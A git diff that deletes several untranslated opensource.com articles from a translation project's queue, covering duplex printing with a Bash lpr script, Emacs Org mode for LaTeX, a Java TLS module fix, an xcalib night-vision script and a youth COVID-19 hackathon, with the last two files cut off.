shopped online and ordered a new computer (and spent at least several hundred dollars—if not more than $1,000—in the process), I chose an alternative and put an old, unused laptop back to work. - -If you have an unused computer sitting around and are willing to do a bit of tech work, you, too, can set something up to get your kids online. Here's how I did it. - -### The hardware - -While my daughter already has her own small IT department (as I like to say), it consists of some gaming systems, a tablet, and a Chromebook. Even her Chromebook has just an 11.6" screen and a small keyboard, so none of her devices are really quite adequate for full-time school duty. - -So we found ourselves in a pinch. She really needed a desktop-capable computer system with a decent-sized screen, a full keyboard, a good-quality microphone, a set of speakers, and a headphone jack. And having an external video connector helps if you decide one screen isn't enough. - -I didn't have a spare desktop, but I did have a laptop: a Lenovo G550 with a Pentium Dual-Core T4500 2.3GHz processor and 4GB RAM. I replaced its aging 5400RPM spindle hard drive with a 240GB solid-state drive. The laptop has a 15.6" screen, which is much easier to view than the small screens on her other devices, and a comfortable, full-size keyboard. Its CPU scores a bit better in PassMark's benchmarks (913 vs. 674) than the 1.6GHz Intel Celeron N3060 Dual-Core in the Chromebook. - -However, it is 10 years old, certainly on the edge of usability by today's standards. But, thanks to the efficiency of the Linux operating system, it gets the job done. I installed the latest version (v31) of [Fedora Workstation][2], but many other distributions will work just fine. If you really want to eke out every drop of performance, you could use one of the [lightweight Linux distributions][3]. The only area that required a little extra effort with Fedora was the wireless; I had to install the driver for the Broadcom WiFi hardware. But really, this was only a few extra steps and a restart, and it was good to go. - -Linux supports all of the other hardware in the laptop. My daughter prefers a full-sized mouse over the touchpad, so I attached one. She likes the keyboard on this laptop, but if she wants an external keyboard, there are enough USB ports to hook one up. - -It has a traditional 3.5mm audio jack, so she can use headphones. I recommend giving children decibel-limited headphones to protect their hearing. - -Even though this laptop has a 15.6" widescreen display, I think having a second monitor gives the best experience. I have a spare that I might hook up to the external VGA connector. - -### The software - -My daughter's school set up an online learning portal. The benefit is that students just need a supported web browser to log on and get to work, and I thank the school for its efforts and choice of a vendor-agnostic solution. Most Linux distributions include the Mozilla Firefox web browser installed by default, and Linux provides a full operating system, so I can install any applications she might need. Fedora is also updated regularly (unlike the old Windows Vista that came with the laptop and is no longer supported). - -![][4] - -Scratch running on Fedora - -Her extracurricular coding school is using the Zoom client. I'm happy to report that it was an easy [install with RPM][5] and works great on Fedora 31. - -### Success! - -My daughter has no trouble using her new laptop. She likes the [GNOME desktop][6], particularly the fact that it "Looks like Dad's!" This is turning out to be a great experiment in practical (and under-pressure) use of a Linux desktop. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/school-home-linux - -作者:[Alan Formy-Duval][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alanfdoss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/homeschool.jpg?itok=vYEd9NON (Image by Alan Formy-Duvall) -[2]: https://getfedora.org/en/workstation/ -[3]: https://opensource.com/article/19/6/linux-distros-to-try -[4]: https://opensource.com/sites/default/files/scratch.jpg -[5]: https://zoom.us/download?os=linux -[6]: https://www.gnome.org/ diff --git a/sources/tech/20200409 Print double-sided documents at home with this simple Bash script.md b/sources/tech/20200409 Print double-sided documents at home with this simple Bash script.md deleted file mode 100644 index daacfa8365..0000000000 --- a/sources/tech/20200409 Print double-sided documents at home with this simple Bash script.md +++ /dev/null @@ -1,152 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Print double-sided documents at home with this simple Bash script) -[#]: via: (https://opensource.com/article/20/4/print-duplex-bash-script) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) - -Print double-sided documents at home with this simple Bash script -====== -Use this script and save yourself the hassle and wasted paper of trying -to manually load and print double-sided documents. -![bash logo on green background][1] - -We have a laser printer at home. This Hewlett Packard LaserJet Pro CP1525nw Color Printer is an older model, but it has been a great workhorse that prints reliably and in color. I [put it on our home network][2] a few years ago using our [Raspberry Pi][3] as a print server. - -The LaserJet has been a great addition to my home office. Since [I launched my company][4] last year, I have relied on this little laser printer to print handouts and other materials for client meetings, workshops, and training sessions. - -My only gripe with this printer is that it prints single-sided only. If you want to print double-sided, you need to set up a custom print job to do it yourself. That's inconvenient and requires manual steps. In LibreOffice, I need to specifically set up the print job to print the odd-numbered pages first, then reload the paper before printing the even-numbered pages on the other side—but in reverse order. - -![LibreOffice print dialog][5] - -If I need to print a PDF that someone has sent me, the process is the same. For a four-page document, I first need to print pages 1 and 3, then reload the paper and print pages 2 and 4 in reverse order. In the GNOME print dialog, you need to select "Page Setup" to print odd pages or even pages. - -![Gnome print dialog][6] - -![Gnome page setup][7] - -Regardless of how I print, the overall process is to print the odd-numbered pages, reload the stack of printed pages into the paper tray, then print the even-numbered pages in reverse order. If I'm printing a four-page document, printing the even-numbered pages in reverse order means page 4 prints on the back of page 3 and page 2 prints on the back of page 1. Imagine my frustration in those few instances when I forgot to select the option to print in reverse order when printing the even-numbered pages and ruined a long print job. - -Similarly, it's easy to forget how to deal with documents that have an odd number of pages. In a five-page document, you first print pages 1, 3, and 5. But when you reload the printed pages into the printer, you don't want page 5. Instead, you only want to load pages 1 and 3. Otherwise, page 4 will print on the back of page 5, page 2 will print on the back of page 3, and nothing gets printed on the back of page 1. - -To make things easier and more reliable, I wrote a simple Bash script that automates printing duplex. This is basically a wrapper to print odd-numbered pages, remind me to reload the pages (and remove the last page if needed), then print the even-numbered pages. - -Whenever I need to print a document as duplex, I first convert the document to PDF. This is very easy to do. In LibreOffice, there's a toolbar icon to export directly as PDF. You can also navigate under **File— Export As—Export as PDF** to do the same. Or in any other application, there's usually a **Save to PDF** feature. When in doubt, GNOME supports printing to a PDF file instead of a printer. - -![Libre Office toolbar][8] - -![Export as PDF][9] - -### How it works - -Once I've saved to PDF, I let my Bash script do the rest. This really just automates the **lpr** commands to make printing easier. It prints odd pages first, prompts me to reload the paper, then prints the even pages. If the document has an odd number of pages, it also reminds me to remove the last page when I reload the printed pages. It's pretty simple. - -The only "programming" part of the script is determining the page count, and figuring out if that's an even or odd number. Both of those are easy to do. - -To determine the page count, I use the **pdfinfo** command. This generates useful info about a PDF document. Here's some sample output: - - -``` -$ pdfinfo All\ training\ -\ catalog.pdf -Creator:        Writer -Producer:       LibreOffice 6.3 -CreationDate:   Fri Oct 18 16:06:07 2019 CDT -Tagged:         no -UserProperties: no -Suspects:       no -Form:           none -JavaScript:     no -Pages:          11 -Encrypted:      no -Page size:      612 x 792 pts (letter) -Page rot:       0 -File size:      65623 bytes -Optimized:      no -PDF version:    1.5 -``` - -That output is very easy to parse. To get the page count, I use an AWK one-line script to look for **Pages:** and print the second field. - - -``` -`pages=$( pdfinfo "$1" | awk '/^Pages:/ {print $2}' )` -``` - -To figure out if this is an odd or even number, I use the modulo (**%**) arithmetic operator to divide by two and tell me the remainder. The modulo of two will always be zero for an even number, and one for an odd number. I use this simple test to determine if the document has an odd number of pages, so I'll need to remove the last page before printing the rest of the document: - - -``` -`if [ $(( $pages % 2 )) -ne 0 ] ; then` -``` - -With that, writing the **print-duplex.sh** Bash script is a simple matter of calling **lpr** with the correct options to send output to my printer (**lpr -P "HP_LaserJet_CP1525nw"**), to print odd-numbered pages (**-o page-set=odd**) or even-numbered pages (**-o page-set=even**), and to print in reverse order (**-o outputorder=reverse**). - -### Bash script - - -``` -#!/bin/sh -# print-duplex.sh -# simple wrapper to print duplex - -cat<<EOF -$1 ($pages pages) -\------------------------------------------------------------------------------- -Printing odd pages first -Please wait for job to finish printing... -\------------------------------------------------------------------------------- -EOF - -lpr -P "HP_LaserJet_CP1525nw" -o page-set=odd "$1" -sleep $pages - -cat<<EOF -=============================================================================== -Put paper back into the printer in EXACT OUTPUT ORDER (face down in tray) -then press ENTER -=============================================================================== -EOF - -pages=$( pdfinfo "$1" | awk '/^Pages:/ {print $2}' ) - -if [ $(( $pages % 2 )) -ne 0 ] ; then -  echo '!! Remove the last page - this document has an odd number of pages' -fi - -echo -n '>' -read x - -cat<<EOF -\------------------------------------------------------------------------------- -Printing even pages -Please wait for job to finish printing... -\------------------------------------------------------------------------------- -EOF - -lpr -P "HP_LaserJet_CP1525nw" -o page-set=even -o outputorder=reverse "$1" -``` - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/print-duplex-bash-script - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bash_command_line.png?itok=k4z94W2U (bash logo on green background) -[2]: https://opensource.com/article/18/3/print-server-raspberry-pi -[3]: https://opensource.com/resources/raspberry-pi -[4]: https://opensource.com/article/19/9/business-creators-open-source-tools -[5]: https://opensource.com/sites/default/files/uploads/print_dialog_-_libreoffice_0.png (LibreOffice print dialog) -[6]: https://opensource.com/sites/default/files/uploads/print_dialog_-_gnome_0.png (Gnome print dialog) -[7]: https://opensource.com/sites/default/files/uploads/print_dialog_-_gnome_-_page_setup.png (Gnome page setup) -[8]: https://opensource.com/sites/default/files/uploads/toolbar_-_export_as_pdf_-_libreoffice.png (Libre Office toolbar) -[9]: https://opensource.com/sites/default/files/uploads/file_-_export_as_pdf_-_libreoffice.png (Export as PDF) diff --git a/sources/tech/20200409 Use Emacs Org mode to easily create LaTeX documents.md b/sources/tech/20200409 Use Emacs Org mode to easily create LaTeX documents.md deleted file mode 100644 index 461c52a8a5..0000000000 --- a/sources/tech/20200409 Use Emacs Org mode to easily create LaTeX documents.md +++ /dev/null @@ -1,142 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Use Emacs Org mode to easily create LaTeX documents) -[#]: via: (https://opensource.com/article/20/4/emacs-org-mode) -[#]: author: (Peter Prevos https://opensource.com/users/danderzei) - -Use Emacs Org mode to easily create LaTeX documents -====== -You can use LaTeX for scientific and technical documents without all of -the confusing commands and syntax you would normally need. -![Filing cabinet for organization][1] - -LaTeX is a powerful system, especially for writing scientific and technical documents. But writing documents in LaTeX can be confusing because you need to know a lot of commands, and your text is littered with backslashes, curly braces, and other syntax distractions. But being productive as a writer requires that you focus on the text's content instead of how it looks. Fortunately, the [GNU Emacs][2] Org mode extension makes it easy to write plain-text documents and seamlessly export them to LaTeX and PDF. - -[Org mode][3] is a built-in Emacs extension that helps you keep notes, maintain to-do lists, manage projects, and author documents with a fast and effective plain-text system. Emacs also comes with [AUCTeX][4], an extensible package for writing TeX files in Emacs. AUCTeX has a preview module that shows the results of what you type, but I find it distracting because it draws my attention away from the document's content to its design. Writing text in Org mode is my preferred option because the source remains a plain-text file with minimal typesetting elements. The text is independent of its result because Org mode can export it to multiple formats, including LaTeX and PDF. - -Emacs is known for being difficult to use with a steep learning curve. But Emacs is only difficult when you want to fine-tune the default settings. By following a minimalist approach to using the vanilla GNU Emacs, this article will get you quickly and easily on your way to writing beautiful documents without any complex configuration. - -### First steps - -Before you begin, [install Emacs][5] and a fully functioning version of [LaTeX][6] on your computer. - -Next, you need to learn some conventions. In Emacs lingo, the abbreviation **C-c** means to enter **Ctrl+C** on your keyboard. The abbreviation **M-x** means **Alt+X**. The M stands for the mod key, which no longer exists in modern systems. The **S** prefix indicates the **Shift** key. - -The **find-file** function, which you start with the **C-x C-f** keystroke combination, creates a new document or opens an existing document. Entering this function opens a dialog in the mini-buffer at the bottom of the screen, which is where Emacs communicates with the user. Type the name of the file you want to create or open into the mini-buffer. Emacs is sensitive to file extensions, so make sure that the name of your document ends in **.org**. - -In Emacs speak, opening or creating a file is called ["visiting" a file][7]. Visiting a file means reading its contents into an Emacs buffer so that it is available for editing. Emacs generates a new buffer for each file you visit. - -### Writing prose with Org mode - -Once you're visiting a file, you can start typing your text the same way you would in any text editor or word processor. Some conventions: Begin the file with **#+TITLE:** to denote the title of the document and **#+AUTHOR** for your name. These options are used when exporting the file. Org mode recognizes a range of [export settings][8] to configure the output. For example, to suppress the table of contents, enter **#+OPTIONS: toc:nil**. - -Org mode has its own Markdown-like conventions to format your document. [Headlines][9] start with one or more asterisks. Org mode can [collapse a headline][10] to render parts of it invisible with the **TAB** or **S-TAB** keys. You can make words ***bold***, **/italic/**, **_underlined_**, or **=verbatim=**. The Org manual describes the many options for [rich text][11]. - -One minor issue with plain-vanilla Emacs that you will quickly notice is it does not wrap lines at the end of the visible screen. Emacs has several line-wrapping functions, and [Visual Line mode][12] is the most useful for writing long-form text. To activate this mode, use **M-x** and enter **visual-line-mode** in the mini-buffer at the bottom of the screen. The **M-x** keyboard shortcut enables executing functions for which there is no direct keyboard shortcut. - -Adding [images][13] is as easy as adding a link to the image file within double square brackets: - - -``` -`[[file:path_to_image.png]]` -``` - -Org has a great system for [formatting tables][14] in plain ASCII. Any line with **|** is considered part of a table. The vertical line is also the column separator. A line starting with **|-** is rendered as a horizontal rule, and rows before the first horizontal rule are header lines. A table might look like this in the source file: - - -``` -| Name  |   id | Age | -|-------+------+-----| -| Peter | 1234 |  50 | -| Sue   | 4321 |  54 | -``` - -Both images and tables are preceded with **#+CAPTION:** to add a [caption][15]. Advanced options are also available to control float placement and size of figures. - -Emacs has extensive [editing functions][16] to make you more efficient when typing text. Spell checking, thesaurus, auto-completion, and an undo tree are just some of the tools that help you write efficiently. - -### Adding LaTeX snippets to Org - -In addition to the text itself, Org mode-text can include simple LaTeX commands, such as **\newpage**, within the text. Equations in standard LaTeX syntax are placed between dollar signs **$e^{i\pi} + 1 = 0$**. The **org-latex-preview** function (**C-c C-x C-l**) shows a [preview][17] of any LaTeX equations within the text buffer. Last, you can also add complete LaTeX snippets to insert complex content. The code has to be placed in an export block: - - -``` -#+BEGIN_EXPORT latex -\setlength{\unitlength}{1cm} -\thicklines -\begin{picture}(10,6) -\put(2,2.2){\line(1,0){6}} -\put(2,2.2){\circle{2}} -\put(6,2.2){\oval(4,2)[r]} -\end{picture} -#+END_EXPORT -``` - -### Exporting to LaTeX - -Org mode includes a powerful export module to convert your files to many formats using the powerful [Pandoc][18] software. Start the export module with the **org-export-dispatch** function, which you can run with the **C-c C-e** keyboard shortcut. The dispatch will split your screen and provide a range of options. - -First, Pandoc converts the Org mode file to a LaTeX file. Then you can choose to open the LaTeX file in a new buffer or save it as a file. Org mode can also directly render a PDF file, which you can view within Emacs or save to disk. - -![Emacs with Org mode source and PDF preview][19] - -### Advanced use - -This article provides a first taste of writing prose in Org mode and LaTeX. Org mode has numerous configuration options to fine-tune your document or to change default settings. - -By default, Org mode uses the article style to export documents, but you can change this with export settings. These settings can also be used to add commands to the document header, for example: - - -``` -#+LATEX_CLASS: report -#+LATEX_CLASS_OPTIONS: [a4paper] -#+LATEX_HEADER: \usepackage{times} -``` - -If you write scientific documents, the [org-ref][20] package by John Kitchin provides Org-mode modules for citations, cross-references, and bibliographies in Org mode and useful BibTeX tools to go with it. - -The Org mode manual's [LaTex export][21] section provides a detailed discussion of the functionality available. - -### Conclusion - -Org mode is a perfect editor for writing LaTeX. The main advantage is that you lose the clutter of LaTeX syntax and can focus on the text. This comes at no cost because you can still add LaTeX code as much as you need, and you get access to the powerful editing functions in Emacs. - -Using Org to write books and articles allows you to focus on the text as you combine two of the oldest and most powerful pieces of open source software. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/emacs-org-mode - -作者:[Peter Prevos][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/danderzei -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/files_documents_organize_letter.png?itok=GTtiiabr (Filing cabinet for organization) -[2]: https://opensource.com/article/20/3/getting-started-emacs -[3]: https://orgmode.org -[4]: https://www.gnu.org/software/auctex/ -[5]: https://www.gnu.org/software/emacs/ -[6]: https://www.latex-project.org/get/ -[7]: https://www.gnu.org/software/emacs/manual/html_node/emacs/Visiting.html -[8]: https://orgmode.org/manual/Export-Settings.html -[9]: https://orgmode.org/manual/Headlines.html#Headlines -[10]: https://orgmode.org/manual/Global-and-local-cycling.html#Global-and-local-cycling -[11]: https://orgmode.org/manual/Markup-for-Rich-Contents.html#Markup-for-Rich-Contents -[12]: https://www.gnu.org/software/emacs/manual/html_node/emacs/Visual-Line-Mode.html -[13]: https://orgmode.org/manual/Images.html -[14]: https://orgmode.org/manual/Built_002din-Table-Editor.html#Built_002din-Table-Editor -[15]: https://orgmode.org/manual/Captions.html#Captions -[16]: https://www.gnu.org/software/emacs/manual/html_node/emacs/Basic.html#Basic -[17]: https://orgmode.org/manual/Previewing-LaTeX-fragments.html -[18]: https://pandoc.org/ -[19]: https://opensource.com/sites/default/files/uploads/org-mode-latex-screenshot.png (Emacs with Org mode source and PDF preview.) -[20]: https://github.com/jkitchin/org-ref -[21]: https://orgmode.org/manual/LaTeX-Export.html#LaTeX-Export diff --git a/sources/tech/20200410 How Kubernetes saved my desktop application.md b/sources/tech/20200410 How Kubernetes saved my desktop application.md deleted file mode 100644 index ecbd6ee273..0000000000 --- a/sources/tech/20200410 How Kubernetes saved my desktop application.md +++ /dev/null @@ -1,55 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How Kubernetes saved my desktop application) -[#]: via: (https://opensource.com/article/20/4/kubernetes-desktop-application) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) - -How Kubernetes saved my desktop application -====== -Keep this fix in mind if you have a broken Java desktop application but -aren't a crypto expert. -![Puzzle pieces coming together to form a computer screen][1] - -Recently, fellow Opensource.com scribe James Farrell wrote a wonderful article entitled _[How Ansible brought peace to my home][2]_. In addition to the great article, I really liked the title, one of those unexpected phrases that I’m sure brought a smile to many faces. - -I recently had a weird but positive experience of my own that begs a similar sort of unexpected label. I’ve been grappling with a difficult problem that arose when upgrading some server and networking infrastructure that broke a Java application I’ve been supporting since the early 2000s. Strangely enough, I found the solution in what appears to be a very informative and excellent article on Kubernetes, of all things. - -Without further ado, here is my problem: - -![][3] - -I’m guessing that most readers will look at that message and think things like, "I hope there’s more info in the log file," or "I’m really glad I’ve never received a message like that." - -Unfortunately, there isn’t a lot of info in the log file, just the same message, in fact. In an effort to debug this, I did three things: - - 1. I searched online for the message. Interestingly, or perhaps ominously, there were only 200 or so hits on this string, [one of which suggested][4] [turn][4][ing][4] [on more debugging output][4], which involved adding the setting - - -``` -**-Djavax.net.debug=ssl:handshake:verbose**[/code] to the **java** command running the application. - - 2. I tried that suggestion, which resulted in a lot of output (good), most of which only vaguely made sense to me as I’m no kind of expert in the underlying bits of stuff like SSL. But one thing I did notice is that there was no information regarding a response from the server in the midst of all of that output; - - 3. So I searched some more. - - - - -Another interesting part of this problem is that the code ran fine when executed by the Java command bundled in the OpenJDK, but failed with this error when using a customized runtime [created from the same OpenJDK in this way][5]. So the relatively modest number of apparently similar problems turned up from search #1 above were actually not all that relevant since they all seemed to be dealing mostly with bad SSL certificates on the server in conjunction with the PostgreSQL JDBC’s ability to check the server’s credentials. - -I should also mention that it took me quite some time to realize that the problem was introduced by using the custom Java runtime, as I managed to check many other possibilities along the way (and indeed, I did fix a few minor bugs while I was at it). My efforts included things like getting the latest OpenJDK, checking and re-checking all the URLs in case one had a typo, and so forth. - -As often happens, after putting the problem aside for a few hours, an idea occurred to me—perhaps I was missing some module in the customized Java runtime. While I didn’t receive any errors directly suggesting that problem, the observable fact that the standard OpenJDK environment worked while the custom one failed seemed to hint at that possibility. I took a quick look in the **jmods/** folder in the OpenJDK installation, but there are some 70 modules there and nothing jumped out at me. - -But again, what seemed odd was, with debugging turned on (see #1 above), there was no indication of what the server would accept, just what the client mostly couldn’t offer, many lines like this: -``` -`Ignoring unavailable cipher suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA` -``` -So I was at least thinking by this time that maybe what was missing was the module that offered those kinds of cipher suites. So I started searching with strings like "jdbc crypto," and in the midst of that, the most unlikely article showed up: [Optimizing Kubernetes Services—Part 2: Spring Web][6], written by [Juan Medina][7]. Midway down the article, I spotted the following: - -![][8] - -Huh! Imagine that, his script is creating a custom Java runtime, just like mine. But he says he needs to add in manually the module **jdk.crypto.ec** in order t \ No newline at end of file diff --git a/sources/tech/20200412 Use this helpful Bash script when stargazing.md b/sources/tech/20200412 Use this helpful Bash script when stargazing.md deleted file mode 100644 index f9e39e5632..0000000000 --- a/sources/tech/20200412 Use this helpful Bash script when stargazing.md +++ /dev/null @@ -1,121 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Use this helpful Bash script when stargazing) -[#]: via: (https://opensource.com/article/20/4/linux-astronomy) -[#]: author: (Alan Formy-Duval https://opensource.com/users/alanfdoss) - -Use this helpful Bash script when stargazing -====== -Keep your eyes on the stars by putting your Linux machine in night -vision mode with xcalib. -![Computer laptop in space][1] - -We often talk about [Linux][2] being used on servers and by developers, but it is used in many other fields too, including astronomy. There are a lot of astronomy tools available for Linux, such as sky maps, star charts, and interfaces to telescope drive systems for controlling your telescope. But one challenge for astronomers is using a computer while keeping their eyes working in the dark. - -When working out in the field at night, astronomers need to preserve their night vision. It can take up to 30 minutes for the human eye to fully dilate and adjust to low light levels, and doing things like checking a phone or laptop at the regular color and brightness levels can cause the eyes to lose their adjustment. This reduces the ability to see in the dark. An example anyone can understand: if you're reading something on your phone in bed at night and get up to go to the bathroom, you know how difficult it can be to see any obstacles that might be in your way. - -### A solution - -I'd like to present a nifty little script to help the astronomer in your family keep "their eyes" in the dark. It relies on a utility called [xcalib][3], a "tiny monitor calibration loader for X.org." It can be installed easily using your Linux package manager. - -On Fedora, for example: - - -``` -$ sudo dnf info xcalib -$ sudo dnf install xcalib -``` - -Or Ubuntu: - - -``` -`$ sudo apt-get install xcalib` -``` - -The xcalib application works only with X11, so it is not functional on Wayland systems. But Wayland has this functionality built-in, so you can get the same results through GNOME Settings. If you're using X11, xcalib is an easy way to change the color temperature of your display. - -### The script - -I discovered [Redscreen][4], a night vision filter script written by Jeff Jahr in 2014. The original script is written for the C shell, but Bash is the common default these days. In fact, the C shell is not installed by default on my current Fedora Linux workstation. So, I decided to write an updated version of the Redscreen script aimed at the newest Bash syntax, but I made one major change: utilizing a case statement. - - -``` -#!/usr/bin/bash -# redscreen.sh Fri Feb 28 11:36 EST 2020 Alan Formy-Duval -# Turn screen red - Useful to Astronomers -# Inspired by redscreen.csh created by Jeff Jahr 2014 -# () - -# This program is free software: you can redistribute it -# and/or modify it under the terms of the GNU General -# Public License as published by the Free Software Foundation, -# either version 3 of the License, or (at your option) any -# later version. - -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE.  See the GNU General Public License for -# more details. - -# You should have received a copy of the GNU General Public -# License along with this program.   -# If not, see <[http://www.gnu.org/licenses/\>][5]. - -case $1 in -            on) -            # adjust color, gamma, brightness, contrast -            xcalib -green .1 0 1 -blue .1 0 1 -red 0.5 1 40 -alter -            exit 1 -        ;; -        off) -                xcalib -clear -            exit 1 -            ;; -        inv) -            # Invert screen -                xcalib -i -a -                    exit 1 -        ;; -        dim) -            # Make the screen darker -                xcalib -clear -            xcalib -co 30 -alter -            exit 1       -        ;; -        *) -                echo "$0 [on | dim | inv | off]" -                    exit 1 -        ;; -esac -``` - -![Skychart for Linux Version 4.2.1 on Fedora workstation][6] - -A lot of astronomy programs include a "night-mode" function, but not all do. Also, this script provides a way to affect the entire screen, not just a specific application. This allows you to use your Linux system out in the field at night for other things than just stargazing—such as checking email or reading Opensource.com—without ruining your night vision. - -Whether you are an astronomer or just an amateur stargazer, you can spend all night admiring the heavens using Linux and open source! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/linux-astronomy - -作者:[Alan Formy-Duval][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alanfdoss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_space_graphic_cosmic.png?itok=wu493YbB (Computer laptop in space) -[2]: https://opensource.com/resources/linux -[3]: http://xcalib.sourceforge.net/ -[4]: http://www.jeffrika.com/~malakai/redscreen/index.html -[5]: http://www.gnu.org/licenses/\> -[6]: https://opensource.com/sites/default/files/uploads/starchart_in_red.png (A star chart displayed in red screen mode) diff --git a/sources/tech/20200414 How young people can help fight COVID-19 with code.md b/sources/tech/20200414 How young people can help fight COVID-19 with code.md deleted file mode 100644 index 73705b5a62..0000000000 --- a/sources/tech/20200414 How young people can help fight COVID-19 with code.md +++ /dev/null @@ -1,139 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How young people can help fight COVID-19 with code) -[#]: via: (https://opensource.com/article/20/4/covid19-hackathon) -[#]: author: (Melissa Sasi https://opensource.com/users/mesassi) - -How young people can help fight COVID-19 with code -====== -Youth developers are invited to submit ideas by April 15 to counter the -educational, informational, social, and health challenges uncovered by -the COVID-19 pandemic. -![woman on laptop sitting at the window][1] - -More than 91% of students around the world are impacted by school closures due to COVID-19, and most governments have temporarily closed academic institutions. That's nearly [1.6 billion young people in 188 countries][2]. Also, most of the learning platforms available online today aren't practical, engaging, or interactive, and lack true virtual collaboration. - -This big and wicked challenge got me thinking about how these circumstances are impacting my children, their friends, and my passions of empowering youth, fostering tech entrepreneurship, and inspiring under-represented communities to find their purpose through building digital skills. These all came together in [CodeTheCurve][3], "a global, virtual hackathon for students, educators, teachers, and the research community to build tech skills, entrepreneurial spirit, and professional competencies to build digital creativity and cooperation to mobilize the world." - -We hope you'll want to participate, but you need to act fast: the deadline to submit proposals is April 15. - -### My story - -The passions mentioned above stem from a deeply personal journey: My children and I are victims of parental kidnapping, and access to the internet and digital literacy are my pathways to being a mother from afar. My children, Zahra (age 13), Zahran (15), and Youmna (18), are safe and healthy, and we are frequently connected. They're living the same life youth all over the world are living these days, trying to social distance and remain in good health while figuring out this school thing (or lack thereof)—only one of my children has access to formal virtual learning during to COVID-19 school closures. The other two, without school-driven online learning options, tend to stay up all night playing Fortnight and making TikTok videos. - -I have always been passionate about digital inclusion and empowering the world through computer science, and the effects of COVID-19 have increased my desire to make a difference. About four years ago, I created a non-profit organization, [MentorNations][4], to inspire youth and the world via technology. My non-profit has taught tens of thousands of young people in 12 countries to code. In my work at IBM as a developer advocate, I focus on empowering early-stage entrepreneurs, developers, and students with access to tech skills, professional development, and entrepreneurial thinking. My major focus areas include inspiring students to discover their career potential in enterprise computing while recognizing that we are all ANDs and not ORs. - -Teaching the next generation about the power of collaboration, teamwork, problem-solving, and critical thinking that happen through open source code and principles empowers them to be creators and innovators who focus on solving relevant and real-world problems. - -Looking through the lens of my children, my non-profit work, my roles within a variety of United Nations Task Forces, and my position as IEEE Chair over the Digital Skills Working Group, I wondered, _**what can I do to make a difference with open source technology?**_ So I reached out to my network, and the world responded in a much bigger way than I had ever imagined. - -### CodeTheCurve - -In response, we launched UNESCO's [CodeTheCurve][3] hackathon in collaboration with 14 partners, including UN EQUALS, SAP, iHackOnline, Angel Hack, Internet Society, and YPO. Participants are invited to bring their open source ideas to combat the current and future environment and challenges relating to COVID-19. This initiative is centered around youth empowerment, gender inclusion, and making the world a better place for our communities, including for people we may not directly encounter daily. - -CodeTheCurve is for anyone above the age of 16. To ensure gender, age, and experience diversity, teams must include a developer or data scientist (early-stage chops are fine); at least one person under the age of 25; and at least one male and one female. The 40 teams selected to participate in CodeTheCurve will have access to more than 80 business and technical mentors (experts!) from around the world to help turn their ideas into reality. - -My vision for this hackathon is to train young talent; enable them with free, online resources and access to real people with real answers; and encourage the creation of real-world problem solving in real-time. The results of the hackathon, I hope, will be open source utilities and information that can be used, in some way, to combat COVID-19. - -#### Week-long learning, bootcamp, and hacking experience - -CodeTheCurve is a three-day virtual hackathon experience guided by expert business and technical mentors. Before the hackathon proper, participants begin with two days of self-paced, online learning from content curated by CodeTheCurve collaborators, followed by a two-day, instructor-led learning journey where the 40 selected teams will collaborate in virtual breakout rooms with activity kits, hands-on computing resources in machine learning, and expert-guided plenary sessions. - -#### CodeTheCurve hackathon themes - -CodeTheCurve includes three themes: - - * Education - * Information and data management - * Current and post-COVID-19 health and social issues - - - -#### Professional development, entrepreneurship, and hands-on open source skills - -The 40 teams will be empowered with expert-guided, engaging activities, including the following skill-building opportunities: - - * **Hand-on tech skills** - * Using Jupyter Notebooks for data science - * Data protection, privacy, security, and encryption - * Machine learning and artificial intelligence - * Architectural diagrams and frameworks - * Technical roadmaps - * **Professional development** - * Design thinking - * Personal branding - * Communication skills - * How not to feel like an imposter - * Conflict resolution - * Working in global, virtual teams - * Media literacy - * Ethics in machine learning and artificial intelligence - * **Entrepreneurship** - * Problem statements - * Mission and vision statements - * 